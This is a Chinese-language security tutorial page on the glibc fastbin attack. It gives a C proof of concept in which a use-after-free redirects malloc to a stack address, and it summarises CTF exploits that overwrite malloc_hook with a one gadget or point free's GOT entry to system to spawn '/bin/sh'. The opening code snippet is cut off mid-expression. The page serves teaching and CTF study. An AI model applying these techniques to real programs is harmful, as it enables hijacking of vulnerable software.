# 快速 Bin 攻击
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## 基本信息 由于快速 Bin 是单链的，与其他 Bin 相比，保护措施要少得多，只需**修改释放的快速 Bin 块中的地址**就足以**在任何内存地址后分配一个块**。 总结一下： {% code overflow="wrap" %} ```c ptr0 = malloc(0x20); ptr1 = malloc(0x20); // Put them in fast bin (suppose tcache is full) free(ptr0) free(ptr1) // Use-after-free // Modify the address where the free chunk of ptr1 is pointing *ptr1 = (unsigned long)((char *)&
); ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` {% endcode %} 你可以在这个非常详细解释的代码示例中找到一个完整的例子：[https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html): ```c #include #include #include int main(void) { puts("Today we will be discussing a fastbin attack."); puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); puts("Let's start, we will allocate three chunks of size 0x30\n"); unsigned long *ptr0, *ptr1, *ptr2; ptr0 = malloc(0x30); ptr1 = malloc(0x30); ptr2 = malloc(0x30); printf("Chunk 0: %p\n", ptr0); printf("Chunk 1: %p\n", ptr1); printf("Chunk 2: %p\n\n", ptr2); printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); int stackVar = 0x55; printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); char *data0 = "00000000"; char *data1 = "11111111"; char *data2 = "22222222"; memcpy(ptr0, data0, 0x8); memcpy(ptr1, data1, 0x8); memcpy(ptr2, data2, 0x8); printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); printf("Chunk 0: %s\n", (char *)ptr0); printf("Chunk 1: %s\n", (char *)ptr1); printf("Chunk 2: %s\n\n", (char *)ptr2); printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); free(ptr0); free(ptr1); free(ptr2); printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); *ptr1 = (unsigned long)((char *)&stackVar); printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); unsigned long *ptr3, *ptr4, *ptr5; ptr3 = malloc(0x30); ptr4 = malloc(0x30); ptr5 = malloc(0x30); printf("Chunk 3: %p\n", ptr3); printf("Chunk 4: %p\n", ptr4); printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` ## 例子 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** - 可以分配块，释放块，读取其内容并填充它们（利用溢出漏洞）。 - **合并块以泄露信息**：该技术基本上是利用溢出来创建一个虚假的 prev\_size，使一个先前的块被放入一个更大的块中，因此在分配包含另一个块的更大块时，可以打印其数据并泄漏到 libc 的地址（main\_arena+88）。 - **覆盖 malloc 钩子**：通过利用前面的重叠情况，可以有两个指向相同内存的块。因此，释放它们两个（在中间释放另一个块以避免保护），可以将相同的块放入快速 bin 两次。然后，可以再次分配它，覆盖下一个块的地址，指向 malloc\_hook 之前的一点（因此指向 malloc 认为是一个空闲大小的整数 - 另一个绕过），再次分配它，然后分配另一个将接收 malloc 钩子地址的块。最后在其中写入一个 **one gadget**。 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** - 存在堆溢出以及用户释放后和双重释放，因为当释放一个块时，可以重用并重新释放指针。 - **Libc 信息泄漏**：只需释放一些块，它们将获得指向主要 arena 位置的指针。由于可以重用已释放的指针，只需读取此地址即可。 - **Fast bin 攻击**：所有分配的指针都存储在一个数组中，因此我们可以释放几个快速 bin 块，在最后一个块中覆盖地址，指向这些指针数组之前的一点。然后，分配几个相同大小的块，我们将首先得到合法的块，然后得到包含指针数组的虚假块。现在我们可以覆盖这些分配指针，指向 `free` 的 got 地址以指向 system，然后写入块 1 `"/bin/sh"`，然后 `free(chunk1)`，这将执行 `system("/bin/sh")`。 您可以在以下示例中找到通过未排序 bin 攻击滥用的 Fast Bin 攻击： {% content-ref url="unsorted-bin-attack.md" %} [unsorted-bin-attack.md](unsorted-bin-attack.md) {% endcontent-ref %}
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